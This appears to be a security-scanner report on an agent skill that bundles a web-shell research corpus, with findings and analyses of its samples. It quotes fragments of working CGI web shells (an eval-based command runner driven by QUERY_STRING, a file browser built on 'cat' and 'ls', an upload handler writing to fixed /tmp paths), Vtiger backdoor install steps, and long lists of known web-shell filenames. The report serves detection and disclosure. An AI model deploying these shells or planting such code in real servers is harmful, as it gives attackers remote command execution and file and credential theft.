Security checks for vulnerabilities and agentic risk
Overview
This is a disclosed web-shell research corpus, but it includes deployable command-execution, upload, file-browsing, and credential-disclosure samples with some operational install guidance.
Install only if you need web-shell samples for authorized security research or detection testing. Keep it in an isolated lab, do not let agents run or deploy the reference scripts, and do not copy the CFM, CGI, JSP, or Vtiger samples into any production or internet-accessible server.
Unauthenticated CGI Command Execution Through eval
Content
View full analysis
\CMD.SH\<\/title\>\"
eval $ECHO "\\\<\/p\>"
eval $ECHO "\"
eval $ECHO "\"
eval $ECHO "\"
if (eval $TEST -n "$QUERY_STRING"); then
PARAM=`eval $ECHO "$QUERY_STRING" | $CUT \-d\= \-f2 | $SED \-e s\/\+\/\ \/g `
fi
# The intervening code URL-decodes PARAM into VALUE.
eval $ECHO "\\\$ $VALUE"
eval $VALUE
```
### Technical Analysis
The script is designed to run as a CGI endpoint. It obtains command text from the attacker-controlled `QUERY_STRING`, extracts and URL-decodes the value, stores it in `VALUE`, and executes it with `eval`.
`eval` causes shell metacharacters, substitutions, redirections, pipelines, and compound commands in the request to be interpreted by the shell. No authentication, authorization, command allowlist, argument separation, or sandbox limits execution. The use of `eval` therefore creates direct arbitrary command execution rather than merely invoking a constrained utility.
### Attack Path
1. The script is copied into a CGI-enabled web directory and marked executable.
2. A remote requester accesses the generated form or directly sends a query containing a URL-encoded shell command.
3. The script extracts the value after `cmd=`.
4. Its decoding logic reconstructs the command in `VALUE`.
5. `eval $VALUE` interprets and executes the command under the web-server account.
6. The command output is returned in the HTTP response, allowing interactive reconnaissance and follow-on compromise.
### Impact Assessment
An unauthenticat
...[truncated 436 chars]
Remediation
View remediation
T05 · Unauthorized Access and Privilege Escalation
Error
Location
references/Web-Shells/FuzzDB/list.sh:12
Finding
Unauthenticated Arbitrary Filesystem Browsing and File Disclosure
"
cat $QUERY_STRING
else
if [ "$root" != "1" ]
then
echo "( ) ".." "
fi
for i in `ls $QUERY_STRING`
do
if [ "$root" == "1" ]
then
echo "( ) "$i" "
else
echo "( ) "$i" "
fi
done
fi
```
### Technical Analysis
The CGI script treats the complete `QUERY_STRING` as a filesystem path and passes it to `ls` and `cat` without authentication or a permitted-root restriction. When no path is supplied, it starts browsing at `/`, explicitly exposing the host's root directory.
There is no path canonicalization, traversal rejection, file-type check, or access-control decision. Unquoted shell expansions also permit whitespace and shell metacharacters to affect command interpretation, adding command-injection risk in addition to the direct file-disclosure behavior.
### Attack Path
1. The script is deployed in a CGI-enabled directory.
2. An unauthenticated requester opens the endpoint without a query to enumerate `/`.
3. The requester follows generated links or supplies an absolute path through the query string.
4. The script invokes `ls` for directories and `cat` for paths it treats as files.
5. Any content readable by the web-server account is returned in the HTTP response.
6. Disclosed configuration files or credentials can be used to compromise the appl
...[truncated 488 chars]
Remediation
View remediation
T04 · Embedded Malicious Code
Error
Location
references/Web-Shells/FuzzDB/up.sh:14
Finding
Unauthenticated File Upload Using Predictable Shared Temporary Paths
"
```
### Technical Analysis
The CGI endpoint accepts an arbitrary request body and trusts the externally supplied `CONTENT_LENGTH`. It applies no authentication, authorization, maximum-size limit, content-type restriction, or upload validation.
The script writes to fixed names in the shared `/tmp` directory: `/tmp/test`, `/tmp/test2`, and `/tmp/upload`. It does not create these files securely, verify ownership, reject symbolic links, or apply restrictive permissions. A local attacker may pre-create these paths or replace them with symbolic links, potentially causing writes to another file accessible to the CGI account. A remote requester can also specify a large body to consume disk space and CGI worker capacity.
### Attack Path
1. The script is deployed as an executable CGI endpoint.
2. A remote requester submits a multipart request and controls its body length.
3. `dd` writes the request body to the predictable `/tmp/test` path.
4. The script copies portions of that content through `/tmp/test2` into `/tmp/upload`.
5. If a local attacker has pre-created one of those paths as a symbolic link, the CGI process may overwrite the linked target subject to its permissions.
6. Alternatively,
...[truncated 688 chars]
Remediation
View remediation
T05 · Unauthorized Access and Privilege Escalation
Error
Location
references/Web-Shells/Vtiger/README.md:3
Finding
Instructions for Installing a Server-Side Command-Execution Extension
Content
View full analysis
Module Manager
3. Ready to cook..
Don't use it in a production environment.
```
### Technical Analysis
The documentation explicitly describes the component as an installable Vtiger extension that provides command execution on the web server. It supplies a route with an attacker-controlled `cmd` parameter and instructs the user to package and install the extension through Vtiger's Module Manager.
The audited subset contains only manifests and does not include the documented `Gateway` handler. Therefore, command execution cannot be confirmed from the supplied module files alone. Nevertheless, the instructions direct users toward installing a command-execution backdoor and conflict with the Skill's stated detection and analysis purpose.
### Attack Path
1. A user follows the README and creates an extension archive.
2. The archive is installed through Vtiger's Module Manager.
3. If the missing command handler is restored from the referenced source or otherwise added, the extension registers a remotely accessible module action.
4. A requester invokes the documented `Gateway` route and supplies a command through `cmd`.
5. The handler executes the command under the Vtiger web-server account.
The current project subset is incomplete, so steps 3–5 depend on obtaining or adding the absent handler.
### Impact Assessment
If installed with the documented handler, the extension would expose operating-system command executio
...[truncated 400 chars]
The interface presents arbitrary command execution as a simple web form with no warning, confirmation, or security boundary, making dangerous host-level actions trivial to perform. Given the surrounding functionality and file context, this is consistent with an intentionally weaponized web shell rather than an accidental omission of warnings.
Content
No source excerpt is available for this finding.
Context-Inappropriate Capability
Critical
Category
Not specified by scanner
Confidence
100% confidence
Finding
The script enumerates configured datasources, decrypts stored passwords, and prints database credentials and connection URLs to the response. This is explicit credential theft functionality that enables immediate lateral movement into databases and broader environment compromise.
Content
No source excerpt is available for this finding.
Missing User Warnings
Critical
Category
Not specified by scanner
Confidence
100% confidence
Finding
The page accesses, decrypts, and displays datasource credentials without any warning that highly sensitive secrets will be exposed in the browser output. This dramatically increases risk because anyone who can reach the page may obtain reusable credentials for downstream systems.
This text file is a catalog of known webshell families and backdoor filenames such as b374k, c99, and r57, which are widely used for unauthorized remote command execution and persistence on compromised servers. Even though it is 'only' a list, the context strongly indicates a repository of offensive malware/webshell artifacts, making the skill more dangerous because it can aid identification, staging, organization, or distribution of attacker tooling.
Content
Scanner excerpt · references/Web-Shells/backdoor_list.txt (reported line 77)May include surrounding context.
text
DrvsInfo.php
audit_null.c
audit_null.patch
ava Server Faces MiniWebCmdShell 0.2 by HeartLESS.php
AventGrup-Sincap 1.0.php
Aventis KlasVayv 1.0.asp
awen asp.net webshell.aspx
axis2 利用小工具cat.aar.zip
axis2 利用小工具cat.pdf
Axis2Shell-master.zip
Ayyildiz Tim -AYT- Shell v 2.1 Biz.php
Ayyildiz Tim -AYT- Shell v 2.1 Biz.txt
azrail 1.0 by C-W-M.php
aZRaiLPhp v1.0.php
aZRaiLPhp_v1.0.php
B374k Beta ShElL V1.php
b374k-mini-shell-php.php.php
b374k.php.php
Back Connect.php
Backdoor php v0.1 Coded By Charlichaplin.php
backdoor.c
backdoorfr.php
BackerHack JSP Manage-System 1.0.jsp
Backup script on server.php
backupsql.php
base64.jspx
base64.md
bdotw44shell.php
bdshell.php
bitwise.php
BLaSTER.php
bloodsecv4.php
Bnkqbakq.php
boffmax_v1.0_web_shell_by_the-c0de_team(1).php
browser.jsp
by Bagheera.jsp
by EJDER.asp
by.php
bypass safemodel.php
bypass-iisuser-p.asp
bypass-login.php
bypass_RCE_php.gif
c0derz shell [csh] v. 0.1.1 release.php
c999shell.php
c99_locus7s.php
c99_madnet.php
c99_w
Context-Inappropriate Capability
High
Category
Not specified by scanner
Confidence
99% confidence
Finding
The upload handler accepts a user-supplied file and writes it directly to C:\ with no type restrictions, validation, or access controls. This enables an attacker to place arbitrary files on the server, which can support persistence, malware deployment, defacement, or staging of further compromise.
Content
No source excerpt is available for this finding.
Missing User Warnings
High
Category
Not specified by scanner
Confidence
97% confidence
Finding
The page writes uploaded files to the root of the Windows system drive without warning, confirmation, or any disclosure of the security consequences. In practice this is dangerous not merely because of missing UX messaging, but because it facilitates unauthorized file placement in a highly sensitive location.
Content
No source excerpt is available for this finding.
Context-Inappropriate Capability
High
Category
Not specified by scanner
Confidence
99% confidence
Finding
This page directly exposes OS command execution by passing user-controlled form fields into , allowing an operator to run arbitrary programs and arguments on the host. In the context of a file explicitly located under a web-shell reference path, this is not a legitimate admin helper but classic remote code execution functionality.
Content
No source excerpt is available for this finding.
Intent-Code Divergence
High
Category
Not specified by scanner
Confidence
99% confidence
Finding
This script is an intentional CGI web shell: it renders an HTTP form, reads the QUERY_STRING parameter, decodes it, and executes the resulting value with eval $VALUE. That gives remote, unauthenticated users arbitrary command execution on the host, which can lead to full system compromise, data theft, persistence, and lateral movement.
Content
No source excerpt is available for this finding.
Missing User Warnings
High
Category
Not specified by scanner
Confidence
99% confidence
Finding
The lines eval $ECHO "\\$ $VALUE" and especially eval $VALUE execute attacker-controlled input derived from the HTTP query string, with no authentication, confirmation, or safety checks. This is direct remote code execution and is the core behavior of a web shell, making the context far more dangerous than ordinary shell invocation in a trusted administrative script.
Content
No source excerpt is available for this finding.
Tool Parameter Abuse
High
Category
Tool Misuse
Confidence
95% confidence
Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
Content
Scanner excerpt · references/Web-Shells/FuzzDB/up.sh (reported line 37)May include surrounding context.
YARA rule 'privilege_escalation_tools': Privilege escalation tools and techniques [hacktools]
High
Category
YARA Match
Confidence
91% confidence
Finding
The file enumerates offensive tooling and backdoor-related artifacts, including names associated with privilege-escalation and post-exploitation utilities. In a skill context, maintaining or distributing a curated list of such tools can facilitate attacker tradecraft, discovery, packaging, or operational use, especially because the surrounding entries are overwhelmingly webshells and intrusion utilities.
Content
Scanner excerpt · references/Web-Shells/backdoor_list.txt (reported line 304)May include surrounding context.
text
psh_m.py
img.jpg
iMHaPFtp.php
inc.pl
include.ashx
includer.php
includer.txt
index
index.htm
index.php
inDEXER And ReaDer.asp
ipcheck.php
ironshell.php
JFIF.asp
JFIF.jpg
JFoler 1.0.jsp
jpg_payload.php
jshell ver 0.1.jsp
jshell ver 1.0.jsp
JSP Backdoor Reverse Shell.jsp
JSP Shell 岁月联盟专用版本.jsp
jsp-reverse.jsp
jsp.jpg
JspDo Code By Xiao.3.jsp
JspHelper Codz By - Leo.jsp
jspshell.jsp
JspSpy Codz By - Ninty.jsp
JspSpy Codz By - Ninty_1.jsp
JspSpy Private Codz By - Ninty.jsp
JspSpy Private Codz By - Ninty_encode.jsp
Jspspy web~shell V1.0 ※MADE by 孤水绕城 QQ540410588.jsp
JspSpy.jsp
jspspy.jspx
jspspy_k8.jsp
JspTqz.jsp
JspWebShell By 绝对零度.asp
jspx.jspx
jspy.jsp
Jsp反弹shell.txt
JSRat.ps1
ka0tic.pl
KA_uShell 0.1.6.php
KAdot Universal Shell v0.1.6.php
KAdot_Universal_Shell_v0.1.6.php
killnc.php
Knull Shell.php
KOA ASP类 WebShell扫描工具.asp
kolang-bypass.php
kral.php
lama's'hell v. 3.0.php
lamashell.php
laudanum.php
LICENSE
LICENSE.html
LICENSE.md
LICENSE.txt
Whitespace Padding
Medium
Category
Prompt Injection
Confidence
70% confidence
Finding
Large whitespace padding was detected (a block of blank lines or a long run of spaces). This can push injected instructions below or to the right of the visible area so a human reviewer never sees them while the agent still reads them. Manual review of the hidden content is recommended.
Content
Scanner excerpt · references/Web-Shells/FuzzDB/cmd.sh (reported line 325)May include surrounding context.
sh
PARC=""
else
#aun no rulan todos los caracteres, los que faltan estan impresos en la linea inferior
# XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX " ` ?<- el resto se ignoran, son >128
PARC="`eval $ECHO \"123456789ABCDEF0123456789ABCDEF \!X#\$%\&\'\(\)\*+,\-.\/0123456789\:\;\<=\>\?\@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\\\\\]\^_Xabcdefghijklmnopqrstuvwxyz\{\\\|\}\~X0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF\" | $CUT \-b$PARC `"
# X: no printable, en la linea superior esta el caracter
# los 0123456789ABCDEF es para no descontarme poniendo X cuando habia muchas seguidas
Intent-Code Divergence
Medium
Category
Not specified by scanner
Confidence
99% confidence
Finding
This script is presented as a directory/file listing utility, but it also reads and returns the contents of any path when the input appears to be a file. Combined with direct use of QUERY_STRING as attacker-controlled input, it functions as an arbitrary file disclosure web shell rather than a simple lister. In the context of a web-accessible CGI script under a Web-Shells reference path, this is especially dangerous because it enables browsing and exfiltration of sensitive server files.
Content
No source excerpt is available for this finding.
Missing User Warnings
Medium
Category
Not specified by scanner
Confidence
97% confidence
Finding
The script runs shell commands (ls, grep, cat) on untrusted input and writes intermediate data to /tmp/test without safeguards or user disclosure. This creates multiple risks: command injection via unquoted shell expansion, unsafe temporary-file usage, and filesystem manipulation in a shared location. In a CGI/web-shell context, these behaviors materially increase exploitability and attacker reach.
Content
No source excerpt is available for this finding.
Context-Inappropriate Capability
Medium
Category
Not specified by scanner
Confidence
99% confidence
Finding
The code executes cat $QUERY_STRING and sends the result to the HTTP response, allowing arbitrary file reads based on user input. This can expose credentials, keys, application source, system configs, and other sensitive data from the host. Given the file's context as part of a web-shell collection, the read capability is not justified and strongly indicates offensive intent.
Content
No source excerpt is available for this finding.
Intent-Code Divergence
Medium
Category
Not specified by scanner
Confidence
94% confidence
Finding
This script is an upload-capable web shell component: it accepts arbitrary file data from an HTTP request, writes it to predictable files under /tmp, and then echoes the uploaded content back to the client. In the context of a web-shell repository, that disclosure capability increases attacker utility by confirming successful upload and exposing sensitive uploaded material directly over HTTP.
Content
No source excerpt is available for this finding.
Missing User Warnings
Medium
Category
Not specified by scanner
Confidence
96% confidence
Finding
The handler writes the full request body and extracted file contents into fixed paths under /tmp (/tmp/test, /tmp/test2, /tmp/upload) without validation, isolation, or secure cleanup. Predictable temporary files can enable data exposure, clobbering, symlink attacks, race conditions, and abuse for arbitrary file staging on the host.
Content
No source excerpt is available for this finding.
Context-Inappropriate Capability
Medium
Category
Not specified by scanner
Confidence
97% confidence
Finding
The script prints the contents of /tmp/upload directly into the HTTP response using cat, which discloses arbitrary uploaded content to any caller. That behavior can leak sensitive files or payloads and also serves as an attacker feedback channel confirming what was received by the server.
Content
No source excerpt is available for this finding.
Missing User Warnings
Medium
Category
Not specified by scanner
Confidence
97% confidence
Finding
The README explicitly documents an installable Vtiger extension that exposes command execution on the web server via a web-accessible endpoint. This describes remote code execution behavior characteristic of a web shell, and the minimal warning ('Don't use it in a production environment') does not mitigate the risk; instead, the context shows intentional offensive or unauthorized post-exploitation capability.
Content
No source excerpt is available for this finding.
Natural-Language Policy Violations
Low
Category
Not specified by scanner
Confidence
77% confidence
Finding
This plain-text file contains many natural-language file names and descriptors in Chinese alongside English, suggesting the referenced skill content or artifacts may be localized to a specific language context without any accompanying explanation, opt-in, or scope statement. Under the policy rule for natural-language violations, language or locale constraints should be documented or optional rather than implicitly imposed.
